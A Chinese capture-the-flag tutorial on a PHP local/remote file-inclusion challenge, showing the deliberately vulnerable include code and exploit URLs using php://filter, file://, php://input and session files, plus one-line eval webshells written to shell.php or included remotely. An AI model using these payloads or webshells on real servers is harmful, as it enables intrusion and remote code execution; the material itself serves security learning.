代码审计--一道简单的文件包含题目的多种利用方式

NO.1 传统方法

首先来看下代码


<?php
error_reporting(0);
if(@isset($_GET["file"])){include($_GET["file"]);
}else{highlight_file(__FILE__);phpinfo();
}
?>

看完代码后再来学习学习函数吧,毕竟菜啊!!!


isset()函数检测变量是否设置,是返回true,否则返回false

语法:bool isset( mixed var [, mixed var [, …]] )


error_reporting()函数能够在运行时设置 error_reporting 指令。0为关闭错误报告

语法:error_reporting(level)


include 函数包含并运行指定文件。

这个应该大家都很熟悉了。


highlight_file()函数对文件进行语法高亮显示。

语法:highlight_file(filename,return)

参数:

  1. filename 必需。要进行高亮处理的 PHP 文件的路径。
  2. return 可选。如果设置 true,则本函数返回高亮处理的代码。

这题由于没有任何过滤,利用起来并不困难,

直接访问的时候会出现phpinfo,可能是为了方便让你知道网站路径吧,

知道路径后,当然一般直接使用?file=xxx就可以直接利用了。


NO.2 php伪协议

对于php伪协议,网上也有很多的文章,

但是对于萌新来说,自己再总结学习一下自然不是什么坏事,

谈到伪协议就不得不先说allow_url_fopen allow_url_include这两个函数。

allow_url_fopen函数:默认值是ON,允许url里的封装协议访问文件

allow_url_include函数:默认值是OFF,不允许包含url里的封装协议包含文件

接下来看看CTF中几个常用的伪协议。


1. php://filter

php://filter协议在CTF中经常出现,通常配合base64来读取源码,

参数:

名称:

  1. resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
  2. read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
  3. write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
  4. <; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

这道题中利用方法也很简单,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt

也很好理解,意思就是读取flag.txt的内容,进行base64编码后输出

注意:像这样的话是读取相同路径下的文件,就是include.phpflag.txt同路径

images


接下来看看跟php://filter很像的一个协议

file://协议(不是伪协议)

说明: file:// — 访问本地文件系统

file://协议会受到 allow_url_fopen 的影响,

但是在CTF中通常用来读取本地文件而不会受到allow_url_fopen的影响

用法: file:// [文件的绝对路径和文件名]

然后在这道题中就可以这样去构造,

http://localhost/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

在Windows下正反斜杆都可以使用,

Linux下必须使用正斜杆(/)

images

当然还可以配合php://filter协议使用,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

2. php://input协议

说明:简单来说就是能够将post请求中的数据作为PHP代码执行

需要将allow_url_include开启

注:当enctype='multipart/form-data' 的时候 php://input 是无效的

测试:

images

也可以post生成一句话

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST['cmd']);?>');?>

先来认识下函数,


fputs()函数将内容写入一个打开的文件中。

语法:fputs(file,string,length)

参数:

  1. file 必需。规定要写入的打开文件。
  2. string 必需。规定要写入打开文件的字符串。
  3. length 可选。规定要写入的最大字节数。

fopen()函数打开文件或者 URL。

语法:fopen(filename,mode,include_path,context)

参数:

  1. filename 必需。规定要打开的文件或 URL。
  2. mode 必需。规定要求到该文件/流的访问类型。可能的值见下表。
  3. include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
  4. context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。

mode 参数的可能的值:

  1. “r” 只读方式打开,将文件指针指向文件头。
  2. “r+” 读写方式打开,将文件指针指向文件头。
  3. “w” 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  4. “w+” 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  5. “a” 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  6. “a+” 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  7. “x” 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。
  8. “x+” 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。

这句话的意思很明显了,以写入的方式将一句话写入到shell.php这个文件中,

然后就可以直接上菜刀了

images

对于文件包含这个东西来说,文件后缀可以是任意的,

只要文件内容符合PHP语法规范,那么任何扩展名都可以被当作PHP来解析,

这里我们将shell.php改成shell.jpg的后缀,

菜刀路径的话也要换成包含的格式

http://localhost/include.php?file=shell.jpg

依旧是可以访问的,

好了,伪协议就说怎么多了。


NO.3 远程包含

既然是文件包含的题目,当然就离不开远程文件包含了,

远程包含需要目标服务器将allow_url_fopenallow_url_include开启才可以。

现在将一匹马放到自己服务器上,然后远程包含这匹马,

注意,这里有个坑

这匹马的文件名不能是可以解析的文件后缀,比如php后缀可以解析,那么这匹马的后缀就不能是php

http://localhost/include.php?file=http://127.0.0.1/shell.jpg

但是如果我就想要包含php后缀的文件呢,当然也是可以的,

不过这里需要将一句话echo出来才行,这样才可以包含php后缀的文件


<?php
echo '<?php eval($_POST["cmd"]);?>';
?>

然后就可以利用了

images


思考:为什么远程包含需要将一句话echo出来

原因是远程服务器已经将文件解析了,远程包含只包含前端显示的代码,跟后缀没什么关系,

所有这里为什么要echo一句话就是这个道理。

相反,本地包含就不需要在前端显示,只要是符合php规范的代码就可以,

本地包含一般使用jpg,log这样的后缀的一句话去绕waf。


远程包含还可以配合伪协议去利用,

将一句话进行base64加密,

images

注意:这里要是加密echo的一句话是不行的

然后伪协议中base64就要换成解密的了decode

使用方法:

http://localhost/include.php?file=php://filter/read=convert.base64-decode/resource=http://127.0.0.1/shell.php

images

然后一样可以使用菜刀去连接


NO.4 session文件包含

这题我们稍微改动一下,增加一个session


<?phpsession_start();
error_reporting(0);if(@isset($_GET["file"])){$_SESSION["username"]=$_GET["file"];include($_GET["file"]);
}else{highlight_file(__FILE__);phpinfo();
}?>

这里的话就是开启session,然后将传入的参数写入到session文件中。

这里我们传入一个名为flag的参数,

在浏览器中可以看到 phpsessid 在发送的请求的 cookie值,

images


然后我们可以通过phpinfo知道session存放的路径,

images


然后去文件夹中发现确实存在这个临时文件,

images


然后进行读取,session临时文件格式为sess_xxx 发现是我们刚刚传入的flag字段

http://localhost/include.php?file=../tmp/tmp/sess_onkqtedht4iucf6bnnjpgqu0g7

images


如果当我们传入的值为 <?php phpinfo();?> 会出现什么情况

images


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/15861.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NASA数据集——阿尔法喷气式大气实验甲醛(HCHO)数据

Alpha Jet Atmospheric eXperiment Formaldehyde Data 简介 阿尔法喷气式大气实验甲醛数据 阿尔法喷气式大气实验&#xff08;AJAX&#xff09;是美国国家航空航天局艾姆斯研究中心与 H211, L.L.C. 公司的合作项目&#xff0c;旨在促进对加利福尼亚、内华达和太平洋沿岸地区的…

【NOIP2014普及组复赛】题4:子矩阵

题3&#xff1a;子矩阵 【题目描述】 给出如下定义&#xff1a; 1.子矩阵&#xff1a;从一个矩阵当中选取某些行和某些列交叉位置所组成的新矩阵&#xff08;保持行与列的相对顺序&#xff09;被称为原矩阵的一个子矩阵。 例如&#xff0c;下面左图中选取第 2 、 4 2、4 2、…

vue项目中使用json编辑器

实现效果&#xff1a; 借助插件json-editor-vue3实现效果如图一&#xff0c;如果嫌丑可以通过类名改一下样式如图二。 实现过程&#xff1a; 安装插件&#xff1a;npm install json-editor-vue3 文档链接&#xff1a;GitCode - 开发者的代码家园 <script setup name&quo…

AcWing 3466. 清点代码库(STL:map,vector)

3466. 清点代码库 需要求有几种不同数列&#xff0c;每种有多少个&#xff0c;可以想到用map。它的键是一个数列&#xff0c;可以把它放在vector里。也就是map<vector<int>,int> 要满足要求的输出序列&#xff0c;就要想把它放在其他容器&#xff0c;或数组里&…

Vite + Vue3 部署 GitHub

因为静态资源是可以部署到 GitHub 上&#xff0c;自己顺便学习部署网站 因为我使用的是 Vite 工具&#xff0c;官方有提供相应 Demo 部署静态站点 | Vite 官方中文文档 新建文件夹 .github 然后再建一个文件夹 workflows 新建文件 main.yml 文件 直接使用官方文档 demo #…

如何处理时间序列的缺失数据

您是否应该删除、插入或估算&#xff1f; 世界上没有完美的数据集。每个数据科学家在数据探索过程中都会有这样的感觉&#xff1a; df.info()看到类似这样的内容&#xff1a; 大多数 ML 模型无法处理 NaN 或空值&#xff0c;因此如果您的特征或目标包含这些值&#xff0c;则在…

Java-MySql:JDBC

目录 JDBC概述 JDBC搭建 1、导入mysql开发商提供的jar包 2、注册驱动 3、与数据库连接 注解&#xff1a; Statement&#xff1a; 代码 运行 PreparedStatement&#xff1a; 代码 运行 PreparedStatement和Statement Statement 增 代码 运行 删 代码 运…

九、图形化脚本

多年来&#xff0c; shell脚本一直都被认为是枯燥乏味的。但如果你准备在图形化环境中运行脚本时&#xff0c;就未必如此了。有很多与脚本用户交互的方式并不依赖read和echo语句。 9.1 创建文本菜单 创建交互式shell脚本最常用的方法是使用菜单。提供各种选项可以帮助脚本用户…

AI遇上遥感,未来会怎样?

随着航空、航天、近地空间等多个遥感平台的不断发展&#xff0c;近年来遥感技术突飞猛进。由此&#xff0c;遥感数据的空间、时间、光谱分辨率不断提高&#xff0c;数据量也大幅增长&#xff0c;使其越来越具有大数据特征。对于相关研究而言&#xff0c;遥感大数据的出现为其提…

基于MetaGPT构建LLM多智能体

前言 你好&#xff0c;我是GISer Liu&#xff0c;在上一篇文章中&#xff0c;我们用了两万多字详细拆解了单个Agent的组成&#xff0c;并通过Github Trending订阅智能体理解MetaGPT框架的订阅模块如何解决应用问题&#xff0c;但是对于复杂&#xff0c;并行的任务&#xff0c;单…

【vue】el-select选择器实现宽度自适应

选择器的宽度根据内容长度进行变化 <div class"Space_content"><el-selectv-model"value":placeholder"$t(bot.roommessage)"class"select"size"small"style"margin-right: 10px"change"selectcha…

JavaSE——集合框架二(1/6)-前置知识-可变参数、Collections工具类

目录 可变参数 Collections工具类 Collections的常用静态方法 实例演示 可变参数 可变参数 就是一种特殊形参&#xff0c;定义在方法、构造器的形参列表里&#xff0c;格式是&#xff1a;数据类型...参数名称 可变参数的特点和好处 特点&#xff1a;可以不传数据给它&am…

SQL常用基础语句(一)-- ABCDE开头

AS 将列名从 count(*) 修改为 total select count(*) as total from users where status0 将列名 username 改为 uname&#xff0c; password 改为 upwd select username as uname, password as upwd from users BETWEEN AND 说明&#xff1a;BETWEEN 筛选的是 >value1且 &l…

小程序主体变更是通过迁移吗?是需要2个小程序吗?

小程序迁移变更主体有什么作用&#xff1f;好多朋友都想做小程序迁移变更主体&#xff0c;但是又不太清楚具体有啥用&#xff0c;今天我就来详细说说。首先&#xff0c;小程序迁移变更主体最重要的作用就是可以修改主体。比如你的小程序原来是 A 公司的&#xff0c;现在 A 公司…

操作系统实验四:多线程与信号量编程

操作系统实验上机 更多技术请访问&#xff1a;www.xuanworld.top 部分审核不通过的文章将发至个人博客&#xff1a;www.xuanworld.top 欢迎来52破解论坛阅读帖子&#xff1a;https://www.52pojie.cn/thread-1891208-1-1.html 实验名称实验序号实验日期实验人多线程与信号量…

010-Linux磁盘介绍

文章目录 1、名词 2、类型 3、尺寸 4、接口/协议/总线 5、命名 6、分区方式 MBR分区 GPT分区 1、名词 磁盘是计算机主要的存储介质&#xff0c;可以存储大量的二进制数据&#xff0c;并且断电后也能保持数据不丢失。早期计算机使用的磁盘是软磁盘&#xff08;Floppy D…

基于yolov5和desnet的猫咪识别模型

前言 前段时间给学校的猫咪小程序搭建了识猫模型&#xff0c;可以通过猫咪的照片辨别出是那只猫猫&#xff0c;这里分享下具体的方案&#xff0c;先看效果图&#xff1a; 源代码在文末 模型训练 在训练服务器&#xff08;或你的个人PC&#xff09;上拉取本仓库代码。 图片数…

10款免费黑科技软件,强烈推荐!

1.AI视频生成——巨日禄 网页版https://aitools.jurilu.com/ "巨日禄 "是一款功能强大的文本视频生成器&#xff0c;可以快速将文本内容转换成极具吸引力的视频。操作简单&#xff0c;用户只需输入文字&#xff0c;选择喜欢的样式和模板&#xff0c; “巨日禄”就会…

Day39贪心算法part06

LC738单调递增的数字&#xff08;未掌握&#xff09; 思路分析&#xff1a;一旦出现strNum[i - 1] > strNum[i]的情况&#xff08;非单调递增&#xff09;&#xff0c;首先想让strNum[i - 1]–&#xff0c;然后strNum[i]给为9字符串是不可变的&#xff0c;不可以使用s.char…

树莓派学习笔记——树莓派的三种GPIO编码方式

1、板载编码&#xff08;Board pin numbering&#xff09;: 板载编码是树莓派上的一种GPIO引脚编号方式&#xff0c;它指的是按照引脚在树莓派主板上的物理位置来编号。这种方式对于初学者来说可能比较直观&#xff0c;因为它允许你直接根据引脚在板上的位置来编程。 2、BCM编…